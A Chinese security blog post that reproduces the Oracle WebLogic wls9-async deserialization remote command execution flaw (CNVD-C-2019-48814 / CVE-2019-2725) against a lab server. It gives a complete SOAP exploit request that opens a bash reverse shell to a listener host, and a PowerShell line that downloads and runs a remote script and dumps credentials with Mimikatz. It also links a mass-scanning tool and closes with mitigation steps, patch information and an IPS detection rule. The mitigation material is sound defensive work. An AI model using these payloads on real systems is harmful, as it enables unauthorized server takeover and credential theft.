about 1 results (0.01 seconds)

Oracle WebLogic wls9-async反序列化远程命令执行漏洞复现和批量检测

by LauCyun Apr 26 02:07:30 29,157 views

2019年4月17日,国家信息安全漏洞共享平台(CNVD)收录了由中国民生银行股份有限公司报送的Oracle WebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814)。攻击者利用该漏洞,可在未授权的情况下远程执行命令。目前,官方补丁尚未发布,漏洞细节未公开。

0x0 漏洞描述

该漏洞是由wls9-async组件导致,在反序列化处理输入信息时存在缺陷,攻击者可以在/_async/AsyncResponseService路径下传入恶意的XML格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。

影响版本如下:

  • WebLogic 10.X
  • WebLogic 12.1.3

此漏洞影响启用wls9-async组件的所有WebLogic版本。

0x1 漏洞环境

WebLogic 10.3.6下载地址:http://www.oracle.com/technetwork/cn/middleware/WebLogic/downloads/wls-main-091116-zhs.html

靶机环境:

  • 系统版本:Ubuntu 16.04
  • IP地址:192.168.201.170
  • WebLogic:WebLogic 10.3.6


图1 WebLogic 10.3.6

0x2 漏洞复现

1 漏洞确认

wls9_async组件是默认启用的,可通过访问http://192.168.201.170:7001/_asynchttp://192.168.201.170:7001/_async/AsyncResponseService来测试是否启用该组件,如果启用了wls9_asyn组件,则存在该漏洞。

首先,访问http://192.168.201.170:7001/_async,如下图所示:


图2 访问_async

如果该请求返回403则存在,返回404则不存在。

接着,访问http://192.168.201.170:7001/_async/AsyncResponseService,如下图所示:


图3 访问_async/AsyncResponseService

如果该请求返回200则存在,返回404则不存在。

2 反弹shell

构造的poc如下所示:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 791
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.201.110/8080 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

发送poc,如下图所示:


图4 反弹shell poc

那命令是否执行成功呢?如果靶机如下图所示即为执行成功。


图5 反弹shell

同理,Windows可通过执行Powershell下载ps1脚本进行反弹shell,命令如下:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://ip:port/payload.ps1'); Invoke-Mimikatz -DumpCreds"

0x3 批量检测工具

传送门:https://git.laucyun.com/myweb/blog-files/tree/master/wlscan

下载完成解压后,根据您的电脑系统选择相应的程序,运行如下图所示:


图6 wlscan工具

可执行help命令获取帮助信息。

目前,漏洞扫描支持两种模式:一种是扫描指定URL;另一种是扫描指定IP或IP段,且默认支持扫描全部漏洞。


图6 扫描结果

由图6的扫描结果得知,192.168.201.170存在CNVD-C-2019-48814和CVE-2019-2725漏洞。

至于其他功能就不一一介绍,自己琢磨吧~~~

0x4 修复建议

目前(2019年4月25日),Oracle官方暂未发布补丁,临时解决方案(只针对WebLogic 9、11g、12c三个版本)如下:

1. 删除bea_wls9_async_response.war包并重启WebLogic服务,具体文件路径如下:

  • WebLogic9版本:
    /%WLS_HOME%/weblogic92/server/lib/bea_wls9_async_response.war
  • WebLogic 10版本:
    /%WLS_HOME%/wlserver_10.3/server/lib/bea_wls9_async_response.war
  • WebLogic12版本:
    /%WLS_HOME%/oracle_common/modules/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war

注:wls9_async_response.war属于一级应用包,对其进行移除或更名操作可能造成未知的后果,Oracle官方不建议对其进行此类操作。

2. 可在WebLogic启动参数中禁用bea_wls9_async_response组件的方式,对此漏洞形成临时防护;

在禁用不安全组件前,需请开发人员确认应用系统是否使用了WebLogic提供的异步WebService功能。如果确认没有使用,可以使用如下方式禁用此功能:

以Windows系统为例,在启动文件(%DOMAIN_HOME%\bin\startWebLogic.cmd)中加如下参数:

set JAVA_OPTIONS=%JAVA_OPTIONS% -Dweblogic.wsee.skip.async.response=true
set JAVA_OPTIONS=%JAVA_OPTIONS% -Dweblogic.wsee.wstx.wsat.deployed=false

3. 通过访问策略控制禁止/_async/*路径的URL访问;

4. 如果有IPS相关设备,可添加如下规则进行防御:

alert http any any -> any any (msg: "ATTACK [PTsecurity] Oracle Weblogic _async deserialization RCE Attempt (CVE-2019-2725)"; flow: established, to_server; content: "POST"; nocase; http_method; content: "/_async/"; http_uri; content: "java.beans.XMLDecoder"; http_client_body; pcre: "/(ProcessBuilder|getRuntime)/RiP"; reference: cve, 2019-2725; reference: url, medium.com/@knownseczoomeye/knownsec-404-team-oracle-weblogic-deserialization-rce-vulnerability-0day-alert-90dd9a79ae93; reference: url, github.com/ptresearch/AttackDetection; metadata: Open Ptsecurity.com ruleset; classtype: attempted-admin; sid: 10004779; rev: 1;)

5. 2019年4月27日,Oracle官方发布补丁,补丁链接:https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html

0x5 参考链接

0x6 修改日志

  • Apr 25, 2019: 撰写并发布;
  • Apr 27, 2019: 添加官方补丁链接;
  • May 5, 2019:添加IPS规则。

...

Tags Read More..